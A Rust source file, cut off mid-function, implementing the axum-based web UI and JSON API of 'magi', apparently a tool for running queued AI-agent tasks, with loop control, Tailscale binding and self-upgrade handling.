1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::extract::rejection::JsonRejection;
106use axum::extract::{Path, Query, State};
107use axum::http::{HeaderValue, StatusCode, header};
108use axum::response::sse::{Event, KeepAlive, Sse};
109use axum::response::{IntoResponse, Response};
110use axum::routing::{delete, get, post};
111use jiff::Timestamp;
112use serde::{Deserialize, Serialize};
113use tokio_stream::StreamExt as _;
114use tokio_stream::wrappers::ReceiverStream;
115
116use crate::ask::{Answer, Question, Questions};
117use crate::chat::{Chat, Chats};
118use crate::config::Config;
119use crate::md;
120use crate::queue::{Queue, Source, Task, title_from};
121use crate::run::{RunState, RunStatus};
122use crate::{chat, daemon, report, repos, run};
123
124pub const DEFAULT_PORT: u16 = 7878;
126
127const POLL: Duration = Duration::from_secs(1);
129
130const KEEPALIVE: Duration = Duration::from_secs(15);
134
135const LIST_DEFAULT: usize = 50;
139const LIST_MAX: usize = 500;
141
142const TITLE_MAX: usize = 72;
144
145const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
168 font-src data:; base-uri 'none'; form-action 'none'; \
169 frame-ancestors 'self'";
170
171const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
172const APP_CSS: &str = include_str!("../assets/ui/app.css");
173const APP_JS: &str = include_str!("../assets/ui/app.js");
174
175#[derive(Debug, Clone, Copy, PartialEq, Eq)]
177pub enum Bind {
178 Auto,
180 Addr(IpAddr),
182}
183
184impl std::str::FromStr for Bind {
185 type Err = String;
186
187 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
191 if s.eq_ignore_ascii_case("auto") {
192 return Ok(Self::Auto);
193 }
194 s.parse()
195 .map(Self::Addr)
196 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
197 }
198}
199
200impl std::fmt::Display for Bind {
201 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
202 match self {
203 Self::Auto => f.write_str("auto"),
204 Self::Addr(addr) => write!(f, "{addr}"),
205 }
206 }
207}
208
209#[derive(Debug, Clone)]
211pub struct Opts {
212 pub bind: Bind,
214 pub port: u16,
216 pub repo: PathBuf,
218 pub open: bool,
221 pub merge: Option<String>,
229}
230
231impl Default for Opts {
232 fn default() -> Self {
233 Self {
234 bind: Bind::Auto,
235 port: DEFAULT_PORT,
236 repo: PathBuf::from("."),
237 open: false,
238 merge: None,
239 }
240 }
241}
242
243#[derive(Debug, Clone)]
249pub struct Ui {
250 queue: Queue,
251 questions: Questions,
252 chats: Chats,
253 runs: PathBuf,
254 home: PathBuf,
255 repo: PathBuf,
256 turns: Arc<Mutex<HashSet<String>>>,
264 resuming: Arc<Mutex<HashSet<String>>>,
271 repos_cache: repos::Cache,
275 merge: Option<String>,
277 looping: Arc<Mutex<LoopState>>,
279 launch: Launch,
291}
292
293impl Ui {
294 pub fn new(
296 queue: Queue,
297 questions: Questions,
298 chats: Chats,
299 runs: PathBuf,
300 home: PathBuf,
301 repo: PathBuf,
302 ) -> Self {
303 Self {
304 queue,
305 questions,
306 chats,
307 runs,
308 home,
309 repo,
310 turns: Arc::default(),
311 resuming: Arc::default(),
312 repos_cache: repos::Cache::new(),
313 merge: None,
314 looping: Arc::default(),
315 launch: launch_daemon,
316 }
317 }
318
319 pub fn open(repo: PathBuf) -> Self {
322 Self::new(
323 Queue::open(),
324 Questions::open(),
325 Chats::open(),
326 run::runs_root(),
327 run::home(),
328 repo,
329 )
330 }
331
332 #[must_use]
339 pub fn with_merge(mut self, merge: Option<String>) -> Self {
340 self.merge = merge;
341 self
342 }
343
344 #[cfg(test)]
349 #[must_use]
350 fn with_launch(mut self, launch: Launch) -> Self {
351 self.launch = launch;
352 self
353 }
354
355 fn looping(&self) -> Arc<Mutex<LoopState>> {
357 Arc::clone(&self.looping)
358 }
359
360 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
367 if let Some(other) = foreign {
368 return Err(ApiError::conflict(format!(
369 "{} is already running the loop, so this one will not start a \
370 second: two loops on one queue race for the same claims and \
371 burn the agent quota twice over. Stop it where it was \
372 started.",
373 other.who()
374 )));
375 }
376 let mut state = self.lock_loop();
377 if state.live.as_ref().is_some_and(Live::alive) {
378 return Err(ApiError::conflict(format!(
379 "this magi web process (pid {}) is already running the loop",
380 std::process::id()
381 )));
382 }
383
384 let stop = daemon::Stop::new();
385 let opts = daemon::Opts {
389 repo: self.repo.clone(),
390 merge: self.merge.clone(),
391 ..daemon::Opts::default()
392 };
393 let launch = self.launch;
394 let looping = Arc::clone(&self.looping);
395 let handle = tokio::spawn({
396 let opts = opts.clone();
397 let stop = stop.clone();
398 async move {
399 let failure = match launch(opts, stop).await {
400 Ok(()) => None,
401 Err(e) => Some(format!("{e:#}")),
402 };
403 match &failure {
404 Some(why) => tracing::error!("the loop stopped: {why}"),
405 None => tracing::info!("the loop stopped"),
406 }
407 let mut state = lock_or_recover(&looping);
413 state.live = None;
414 state.last_error = failure;
415 state.rev += 1;
416 }
417 });
418 tracing::info!(
419 "the loop is now running in this process: repo {}, merge {}",
420 opts.repo.display(),
421 opts.merge.as_deref().unwrap_or("as the config says")
422 );
423 state.live = Some(Live { stop, handle, opts });
424 state.last_error = None;
427 state.rev += 1;
428 Ok(())
429 }
430
431 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
437 if let Some(other) = foreign {
438 return Err(ApiError::conflict(format!(
439 "the loop belongs to {}, and this process cannot stop it - \
440 stop it where it was started. A button that silently did \
441 nothing would be worse than this refusal.",
442 other.who()
443 )));
444 }
445 let mut state = self.lock_loop();
446 let Some(live) = state.live.as_ref() else {
447 return Ok(());
448 };
449 if live.stop.stopped() && (!park || live.stop.parking()) {
453 return Ok(());
454 }
455 if park {
456 live.stop.park();
457 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
458 } else {
459 live.stop.stop();
460 tracing::info!("the loop was asked to stop; a run in flight is finished first");
461 }
462 state.rev += 1;
463 Ok(())
464 }
465
466 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
473 let state = self.lock_loop();
474 let live = state.live.as_ref().filter(|live| live.alive());
477 LoopView {
478 running: live.is_some(),
479 stopping: live.is_some_and(|live| live.stop.finishing()),
480 parking: live.is_some_and(|live| live.stop.parking()),
481 owned: live.is_some(),
482 repo: live
483 .map_or(&self.repo, |live| &live.opts.repo)
484 .display()
485 .to_string(),
486 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
487 last_error: state.last_error.clone(),
488 daemon: DaemonView::of(reading),
489 }
490 }
491
492 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
494 lock_or_recover(&self.looping)
495 }
496
497 fn begin_turn(&self, id: &str) -> ApiResult<TurnGuard> {
520 let mut live = self
521 .turns
522 .lock()
523 .map_err(|_| ApiError::internal("the chat turn lock was poisoned"))?;
524 if !live.insert(id.to_owned()) {
525 return Err(ApiError::conflict(format!(
526 "chat {id} is already taking a turn"
527 )));
528 }
529 Ok(TurnGuard {
530 chat: id.to_owned(),
531 turns: Arc::clone(&self.turns),
532 })
533 }
534
535 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
542 let parking = {
543 let mut state = self.lock_loop();
544 let Some(live) = state.live.as_ref() else {
545 return Ok(None);
546 };
547 let busy = live.stop.busy_now();
548 live.stop.park();
549 state.rev += 1;
550 busy
551 };
552 Ok(if parking {
553 daemon::current_work(&self.home, jiff::Timestamp::now()).map(|c| c.run)
554 } else {
555 None
556 })
557 }
558
559 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
563 let mut live = self
564 .resuming
565 .lock()
566 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
567 if !live.insert(id.to_owned()) {
568 return Err(ApiError::conflict(format!(
569 "run {id} is already being resumed"
570 )));
571 }
572 Ok(ResumeGuard {
573 run: id.to_owned(),
574 resuming: Arc::clone(&self.resuming),
575 })
576 }
577
578 pub fn router(self) -> Router {
586 Router::new()
587 .route("/", get(index))
588 .route("/app.css", get(app_css))
589 .route("/app.js", get(app_js))
590 .route("/api/health", get(health))
591 .route("/api/loop", get(loop_get).post(loop_post))
592 .route("/api/upgrade", post(upgrade_post))
593 .route("/api/runs", get(runs_list))
594 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
595 .route("/api/runs/{id}/report", get(run_report))
596 .route("/api/runs/{id}/fold", post(run_fold))
597 .route("/api/runs/{id}/resume", post(run_resume))
598 .route("/api/queue", get(queue_list).post(queue_post))
599 .route("/api/queue/{id}", delete(queue_delete))
600 .route("/api/repos", get(repos_list))
601 .route("/api/queue/{id}/hold", post(queue_hold))
602 .route("/api/queue/{id}/release", post(queue_release))
603 .route("/api/questions", get(questions_list))
604 .route("/api/questions/{id}/answer", post(question_answer))
605 .route("/api/questions/{id}/panel", get(question_panel))
606 .route("/api/questions/{id}/panel/index.html", get(question_panel))
614 .route("/api/questions/{id}/panel/{name}", get(question_asset))
615 .route("/api/questions/{id}/asset/{name}", get(question_asset))
616 .route("/api/chats", get(chats_list).post(chat_post))
617 .route("/api/chats/{id}", get(chat_detail))
618 .route("/api/chats/{id}/say", post(chat_say))
619 .route("/api/chats/{id}/file", post(chat_file))
620 .route("/api/events", get(events))
621 .with_state(Arc::new(self))
622 }
623}
624
625#[derive(Debug)]
631struct TurnGuard {
632 chat: String,
633 turns: Arc<Mutex<HashSet<String>>>,
634}
635
636impl Drop for TurnGuard {
637 fn drop(&mut self) {
638 if let Ok(mut live) = self.turns.lock() {
639 live.remove(&self.chat);
640 }
641 }
642}
643
644struct ResumeGuard {
646 run: String,
647 resuming: Arc<Mutex<HashSet<String>>>,
648}
649
650impl Drop for ResumeGuard {
651 fn drop(&mut self) {
652 if let Ok(mut live) = self.resuming.lock() {
653 live.remove(&self.run);
654 }
655 }
656}
657
658async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
659 const WINDOW: Duration = Duration::from_secs(10);
660 const GAP: Duration = Duration::from_millis(250);
661
662 let deadline = std::time::Instant::now() + WINDOW;
663 let mut said = false;
664 loop {
665 match tokio::net::TcpListener::bind(socket).await {
666 Ok(listener) => return Ok(listener),
667 Err(e)
668 if e.kind() == std::io::ErrorKind::AddrInUse
669 && std::time::Instant::now() < deadline =>
670 {
671 if !said {
672 said = true;
673 tracing::info!(
674 "{socket} is still held - waiting up to {}s for it, \
675 which is what a restart looks like from here",
676 WINDOW.as_secs()
677 );
678 }
679 tokio::time::sleep(GAP).await;
680 }
681 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
682 }
683 }
684}
685
686static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
689
690fn spawn_successor() -> Result<()> {
702 let exe = std::env::current_exe().context("find this binary")?;
703 let args: Vec<String> = std::env::args().skip(1).collect();
704 tracing::info!("restarting: {} {}", exe.display(), args.join(" "));
705
706 let mut cmd = std::process::Command::new(&exe);
707 cmd.args(&args)
708 .stdin(std::process::Stdio::null())
709 .stdout(std::process::Stdio::null())
710 .stderr(std::process::Stdio::null());
711 #[cfg(windows)]
712 {
713 use std::os::windows::process::CommandExt as _;
714 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
717 }
718 cmd.spawn().context("start the successor")?;
719 Ok(())
720}
721
722pub async fn serve(opts: Opts) -> Result<()> {
749 let (addr, warning) = resolve_bind(&opts.bind);
750 if let Some(warning) = warning {
751 tracing::warn!("{warning}");
752 }
753
754 report::set_color(false);
760
761 let ui = Ui::open(opts.repo).with_merge(opts.merge);
762 let looping = ui.looping();
763 let socket = SocketAddr::new(addr, opts.port);
764 let listener = bind_waiting(socket).await?;
765 let url = format!("http://{addr}:{}", opts.port);
766 tracing::info!(
767 "magi web UI on {url} - there is no authentication, so anyone who can \
768 reach this address can file and hold tasks: the tailnet is the \
769 security boundary"
770 );
771 tracing::info!(
772 "the queue loop is not running yet - start it from the UI, which is \
773 the whole reason this process can: nothing in the queue moves until \
774 something is running the loop"
775 );
776 if opts.open {
777 println!("{url}");
781 }
782
783 let served = axum::serve(listener, ui.router()).into_future();
784 let interrupted = async {
785 if tokio::signal::ctrl_c().await.is_err() {
786 std::future::pending::<()>().await;
791 }
792 };
793 let handover = HANDOVER.notified();
794 tokio::select! {
795 outcome = served => outcome.context("serve the web UI"),
796 () = interrupted => {
797 tracing::info!("shutting down the web UI");
798 finish_loop(&looping).await;
799 Ok(())
800 }
801 () = handover => {
802 tracing::info!("upgraded - handing this address to the successor");
803 finish_loop(&looping).await;
806 spawn_successor()
807 }
808 }
809}
810
811async fn finish_loop(state: &Mutex<LoopState>) {
818 let live = lock_or_recover(state).live.take();
819 let Some(live) = live else { return };
820 live.stop.stop();
821 lock_or_recover(state).rev += 1;
822 tracing::info!("waiting for the loop to finish the run in flight");
823 let _ = live.handle.await;
826}
827
828pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
834 match bind {
835 Bind::Addr(addr) => (*addr, None),
836 Bind::Auto => match tailscale_ip() {
837 Ok(ip) => (IpAddr::V4(ip), None),
838 Err(why) => (
839 IpAddr::V4(Ipv4Addr::LOCALHOST),
840 Some(format!(
841 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
842 local-only and a phone cannot reach it; start Tailscale \
843 or pass --bind <addr>"
844 )),
845 ),
846 },
847 }
848}
849
850fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
858 let out = std::process::Command::new("tailscale")
859 .args(["ip", "-4"])
860 .output()
861 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
862 if !out.status.success() {
863 let why = String::from_utf8_lossy(&out.stderr);
864 let why = why.trim();
865 return Err(format!(
866 "`tailscale ip -4` failed ({}){}",
867 out.status,
868 if why.is_empty() {
869 String::new()
870 } else {
871 format!(": {why}")
872 }
873 ));
874 }
875 String::from_utf8_lossy(&out.stdout)
876 .lines()
877 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
878 .find(is_tailnet)
879 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
880}
881
882fn is_tailnet(ip: &Ipv4Addr) -> bool {
884 let o = ip.octets();
885 o[0] == 100 && (64..=127).contains(&o[1])
886}
887
888type ApiResult<T> = std::result::Result<T, ApiError>;
892
893#[derive(Debug)]
895struct ApiError {
896 status: StatusCode,
897 message: String,
898 problems: Vec<String>,
908}
909
910impl ApiError {
911 fn bad_request(message: impl Into<String>) -> Self {
913 Self {
914 status: StatusCode::BAD_REQUEST,
915 message: message.into(),
916 problems: Vec::new(),
917 }
918 }
919
920 fn bad_request_with(message: impl Into<String>, problems: Vec<String>) -> Self {
922 Self {
923 problems,
924 ..Self::bad_request(message)
925 }
926 }
927
928 fn not_found(message: impl Into<String>) -> Self {
930 Self {
931 status: StatusCode::NOT_FOUND,
932 message: message.into(),
933 problems: Vec::new(),
934 }
935 }
936
937 fn with_status(mut self, status: StatusCode) -> Self {
940 self.status = status;
941 self
942 }
943
944 fn bad_request_from(e: anyhow::Error) -> Self {
948 Self::bad_request(format!("{e:#}"))
949 }
950
951 fn conflict(message: impl Into<String>) -> Self {
952 Self {
953 status: StatusCode::CONFLICT,
954 message: message.into(),
955 problems: Vec::new(),
956 }
957 }
958
959 fn internal(message: impl Into<String>) -> Self {
961 Self {
962 status: StatusCode::INTERNAL_SERVER_ERROR,
963 message: message.into(),
964 problems: Vec::new(),
965 }
966 }
967}
968
969impl From<anyhow::Error> for ApiError {
970 fn from(e: anyhow::Error) -> Self {
975 Self::internal(format!("{e:#}"))
976 }
977}
978
979impl IntoResponse for ApiError {
980 fn into_response(self) -> Response {
981 let mut body = serde_json::json!({ "error": self.message });
982 if !self.problems.is_empty() {
983 if let Some(map) = body.as_object_mut() {
985 map.insert("problems".to_owned(), serde_json::json!(self.problems));
986 }
987 }
988 (self.status, Json(body)).into_response()
989 }
990}
991
992async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1001where
1002 T: Send + 'static,
1003{
1004 match tokio::task::spawn_blocking(job).await {
1005 Ok(result) => result,
1006 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1007 }
1008}
1009
1010const ASSET_CACHE: &str = "no-cache, must-revalidate";
1028
1029fn asset_etag() -> &'static str {
1036 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1037 format!(
1038 "\"{}-{}\"",
1039 env!("CARGO_PKG_VERSION"),
1040 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1045 )
1046 });
1047 &TAG
1048}
1049
1050fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1052 [
1053 (header::CONTENT_TYPE, mime),
1054 (header::CACHE_CONTROL, ASSET_CACHE),
1055 (header::ETAG, asset_etag()),
1056 ]
1057}
1058
1059fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1067 let tag = asset_etag();
1068 let known = headers
1069 .get(header::IF_NONE_MATCH)
1070 .and_then(|v| v.to_str().ok())
1071 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1075 if known {
1076 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1077 }
1078 (asset_headers(mime), body).into_response()
1079}
1080
1081async fn index(headers: header::HeaderMap) -> Response {
1082 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1083}
1084
1085async fn app_css(headers: header::HeaderMap) -> Response {
1086 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1087}
1088
1089async fn app_js(headers: header::HeaderMap) -> Response {
1090 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1091}
1092
1093#[derive(Debug, Serialize)]
1095struct HealthView {
1096 version: &'static str,
1097 home: String,
1098 queue_rev: u64,
1099 runs_rev: u64,
1100 questions_rev: u64,
1112 chats_rev: u64,
1114 loop_rev: u64,
1119 runs_unreadable: usize,
1127 questions_open: usize,
1132 chats_open: usize,
1140 daemon: DaemonView,
1141 #[serde(rename = "loop")]
1147 looping: LoopView,
1148}
1149
1150#[derive(Debug, Serialize)]
1152struct DaemonView {
1153 running: bool,
1154 idle: Option<bool>,
1155 pid: Option<u32>,
1156 current: Option<daemon::Current>,
1157 completed: Option<u64>,
1158 stale_for_secs: Option<i64>,
1159}
1160
1161impl DaemonView {
1162 fn of(status: Option<daemon::Reading>) -> Self {
1166 let Some(status) = status else {
1167 return Self {
1168 running: false,
1169 idle: None,
1170 pid: None,
1171 current: None,
1172 completed: None,
1173 stale_for_secs: None,
1174 };
1175 };
1176 let now = Timestamp::now();
1177 let age = status.age_secs(now);
1178 Self {
1179 running: status.running(now),
1180 idle: Some(status.idle),
1181 pid: status.pid,
1182 current: status.current,
1183 completed: Some(status.completed),
1184 stale_for_secs: age,
1185 }
1186 }
1187}
1188
1189async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1190 blocking(move || {
1191 let reading = daemon::read_status(&ui.home);
1195 let loop_rev = ui.lock_loop().rev;
1199 Ok(Json(HealthView {
1200 version: env!("CARGO_PKG_VERSION"),
1201 home: ui.home.display().to_string(),
1202 queue_rev: ui.queue.revision(),
1203 runs_rev: runs_revision(&ui.runs),
1204 questions_rev: ui.questions.revision(),
1205 chats_rev: ui.chats.revision(),
1206 loop_rev,
1207 runs_unreadable: runs_unreadable(&ui.runs),
1208 questions_open: ui.questions.count_open(),
1209 chats_open: ui.chats.count_open(),
1210 daemon: DaemonView::of(reading.clone()),
1211 looping: ui.loop_view(reading),
1212 }))
1213 })
1214 .await
1215}
1216
1217#[derive(Debug, Serialize)]
1219struct LoopView {
1220 running: bool,
1222 stopping: bool,
1230 parking: bool,
1238 owned: bool,
1246 repo: String,
1249 merge: Option<String>,
1252 last_error: Option<String>,
1260 daemon: DaemonView,
1263}
1264
1265#[derive(Debug, Clone, Copy)]
1274struct Foreign {
1275 pid: Option<u32>,
1277}
1278
1279impl Foreign {
1280 fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
1283 let reading = reading?;
1284 if !reading.running(Timestamp::now()) {
1285 return None;
1286 }
1287 match reading.pid {
1288 Some(pid) if pid == std::process::id() => None,
1289 pid => Some(Self { pid }),
1293 }
1294 }
1295
1296 fn who(&self) -> String {
1299 match self.pid {
1300 Some(pid) => format!("another magi process (pid {pid})"),
1301 None => "another magi process".to_owned(),
1302 }
1303 }
1304}
1305
1306type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
1311
1312fn launch_daemon(
1314 opts: daemon::Opts,
1315 stop: daemon::Stop,
1316) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
1317 Box::pin(daemon::serve_until(opts, stop))
1318}
1319
1320#[derive(Debug, Default)]
1322struct LoopState {
1323 live: Option<Live>,
1325 rev: u64,
1333 last_error: Option<String>,
1336}
1337
1338#[derive(Debug)]
1340struct Live {
1341 stop: daemon::Stop,
1343 handle: tokio::task::JoinHandle<()>,
1348 opts: daemon::Opts,
1352}
1353
1354impl Live {
1355 fn alive(&self) -> bool {
1357 !self.handle.is_finished()
1358 }
1359}
1360
1361fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
1368 state.lock().unwrap_or_else(PoisonError::into_inner)
1369}
1370
1371async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
1373 blocking(move || {
1374 let reading = daemon::read_status(&ui.home);
1375 Ok(Json(ui.loop_view(reading)))
1376 })
1377 .await
1378}
1379
1380#[derive(Debug, Deserialize)]
1386#[serde(deny_unknown_fields)]
1387struct LoopCommand {
1388 running: bool,
1389 #[serde(default)]
1399 park: bool,
1400}
1401
1402async fn loop_post(
1410 State(ui): State<Arc<Ui>>,
1411 body: std::result::Result<Json<LoopCommand>, JsonRejection>,
1412) -> ApiResult<Json<LoopView>> {
1413 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
1416 blocking(move || {
1417 let reading = daemon::read_status(&ui.home);
1418 let foreign = Foreign::of(reading.as_ref());
1419 if body.running {
1420 ui.start_loop(foreign)?;
1421 } else {
1422 ui.stop_loop(foreign, body.park)?;
1423 }
1424 Ok(Json(ui.loop_view(reading)))
1425 })
1426 .await
1427}
1428
1429#[derive(Debug, Serialize)]
1431struct UpgradeView {
1432 from: String,
1434 to: Option<String>,
1436 parked: Option<String>,
1438 detail: String,
1440}
1441
1442async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
1466 let reading = daemon::read_status(&ui.home);
1467 if let Some(other) = Foreign::of(reading.as_ref()) {
1468 return Err(ApiError::conflict(format!(
1469 "the loop belongs to {}, so replacing this binary would leave \
1470 that process running an old one against the same queue. Upgrade \
1471 where it was started.",
1472 other.who()
1473 )));
1474 }
1475
1476 let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
1481 let latest = match crate::updater::Checker::new(&cfg.update) {
1482 Some(checker) => checker
1483 .newer_release()
1484 .await
1485 .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
1486 None => None,
1487 };
1488 let Some(latest) = latest else {
1489 return Ok((
1490 StatusCode::OK,
1491 Json(UpgradeView {
1492 from: env!("CARGO_PKG_VERSION").to_owned(),
1493 to: None,
1494 parked: None,
1495 detail: "Already on the newest release. Nothing was parked \
1496 and nothing restarted."
1497 .to_owned(),
1498 }),
1499 ));
1500 };
1501
1502 let parked = ui.park_for_upgrade()?;
1505 let detail = match &parked {
1506 Some(run) => format!(
1511 "Run {} is parking at its next step, which can take as long as \
1512 the step it is on - up to an hour for an implement wave. The \
1513 deck replaces itself once it parks, comes back, and the loop \
1514 carries that run on from where it stopped. Nothing is lost if \
1515 you close this.",
1516 crate::run::short_of(run)
1517 ),
1518 None => "The deck replaces itself and comes back. Nothing was in \
1519 flight to park."
1520 .to_owned(),
1521 };
1522
1523 tokio::spawn(async move {
1524 if let Err(e) = upgrade_and_restart().await {
1525 tracing::error!("the upgrade did not complete: {e:#}");
1526 }
1527 });
1528
1529 Ok((
1530 StatusCode::ACCEPTED,
1531 Json(UpgradeView {
1532 from: env!("CARGO_PKG_VERSION").to_owned(),
1533 to: Some(latest.tag_name.clone()),
1534 parked,
1535 detail,
1536 }),
1537 ))
1538}
1539
1540async fn upgrade_and_restart() -> Result<()> {
1545 crate::updater::run_self_update(true, false, true).await?;
1548 tracing::info!("binary replaced - asking the server to hand over");
1549 HANDOVER.notify_one();
1550 Ok(())
1551}
1552
1553#[derive(Debug, Serialize)]
1559struct RunSummary {
1560 id: String,
1561 short: String,
1562 status: String,
1563 done: bool,
1564 instruction: String,
1565 title: String,
1566 repo: String,
1567 repo_name: String,
1568 created_at: String,
1569 updated_at: String,
1570 candidates: usize,
1571 viable: usize,
1572 judges: usize,
1573 winner: Option<char>,
1574 reviews: usize,
1575 quota_losses: usize,
1576 event: Option<String>,
1577 superseded_by: Option<String>,
1582 waiting: bool,
1589 pr: Option<crate::run::PrRecord>,
1591}
1592
1593impl RunSummary {
1594 fn of(state: &RunState, waiting: bool) -> Self {
1595 Self {
1596 id: state.id.clone(),
1597 short: state.short().to_owned(),
1598 status: status_word(state.status),
1599 done: state.status.done(),
1600 instruction: state.instruction.clone(),
1601 title: title_from(&state.instruction, TITLE_MAX),
1602 repo: state.repo.display().to_string(),
1603 repo_name: state
1604 .repo
1605 .file_name()
1606 .map(|n| n.to_string_lossy().into_owned())
1607 .unwrap_or_default(),
1608 created_at: state.created_at.to_string(),
1609 updated_at: state.updated_at.to_string(),
1610 candidates: state.candidates.len(),
1611 viable: state.viable().len(),
1612 judges: state.config.graph.judges,
1613 winner: state.winner().map(|c| c.label),
1614 reviews: state.reviews.len(),
1615 quota_losses: state.quota.len(),
1616 event: state.events.last().map(|e| e.message.clone()),
1617 waiting,
1618 superseded_by: None,
1621 pr: state.pr.clone(),
1622 }
1623 }
1624}
1625
1626fn status_word(status: RunStatus) -> String {
1629 status.as_str().to_owned()
1633}
1634
1635#[derive(Debug, Deserialize)]
1637struct ListQuery {
1638 #[serde(default)]
1639 limit: Option<usize>,
1640}
1641
1642async fn runs_list(
1643 State(ui): State<Arc<Ui>>,
1644 Query(q): Query<ListQuery>,
1645) -> ApiResult<Json<Vec<RunSummary>>> {
1646 let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
1647 blocking(move || {
1648 let superseded = superseded_runs(&ui.queue);
1649 let summaries = run_ids(&ui.runs)
1650 .into_iter()
1651 .filter_map(|id| read_run(&ui.runs, &id).ok())
1656 .take(limit)
1657 .map(|state| {
1658 let waiting = !ui.questions.open_for(&state.id).is_empty();
1659 let by = superseded.get(&state.id).cloned();
1660 let mut row = RunSummary::of(&state, waiting);
1661 row.superseded_by = by.as_deref().map(crate::run::short_of).map(str::to_owned);
1662 row
1663 })
1664 .collect();
1665 Ok(Json(summaries))
1666 })
1667 .await
1668}
1669
1670fn superseded_runs(queue: &Queue) -> HashMap<String, String> {
1683 let mut by = HashMap::new();
1684 for task in queue.list() {
1685 for pair in task.runs.windows(2) {
1686 if let [earlier, later] = pair {
1687 by.insert(earlier.clone(), later.clone());
1688 }
1689 }
1690 }
1691 by
1692}
1693
1694#[derive(Debug, Serialize)]
1701struct RunDetailView {
1702 #[serde(flatten)]
1703 state: RunState,
1704 instruction_md: Vec<md::Node>,
1705}
1706
1707impl From<RunState> for RunDetailView {
1708 fn from(state: RunState) -> Self {
1709 Self {
1710 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
1711 state,
1712 }
1713 }
1714}
1715
1716async fn run_detail(
1717 State(ui): State<Arc<Ui>>,
1718 Path(id): Path<String>,
1719) -> ApiResult<Json<RunDetailView>> {
1720 blocking(move || {
1721 let id = resolve_run(&ui.runs, &id)?;
1722 Ok(Json(RunDetailView::from(read_run(&ui.runs, &id)?)))
1723 })
1724 .await
1725}
1726
1727async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
1733 blocking(move || {
1734 let id = resolve_run(&ui.runs, &id)?;
1735 let state = read_run(&ui.runs, &id)?;
1736 let in_flight = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
1737 state
1738 .ensure_can_delete(in_flight)
1739 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
1740 let dir = ui.runs.join(&id);
1741 std::fs::remove_dir_all(&dir)
1742 .with_context(|| format!("remove run directory {}", dir.display()))?;
1743 ui.questions.abandon_for_run(
1746 &id,
1747 &format!("run {id} was deleted, so nothing is waiting for this answer"),
1748 )?;
1749 Ok(StatusCode::NO_CONTENT)
1750 })
1751 .await
1752}
1753
1754async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
1773 let (id, mut state) = {
1774 let ui = Arc::clone(&ui);
1775 blocking(move || {
1776 let id = resolve_run(&ui.runs, &id)?;
1777 let state = read_run(&ui.runs, &id)?;
1778 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
1779 return Err(ApiError::conflict(format!(
1780 "run {} is being worked on by a live daemon right now",
1781 state.short()
1782 )));
1783 }
1784 Ok((id, state))
1785 })
1786 .await?
1787 };
1788 let removed = crate::graph::fold_run(&mut state, true)
1789 .await
1790 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
1791 Ok(Json(FoldView {
1792 run: id,
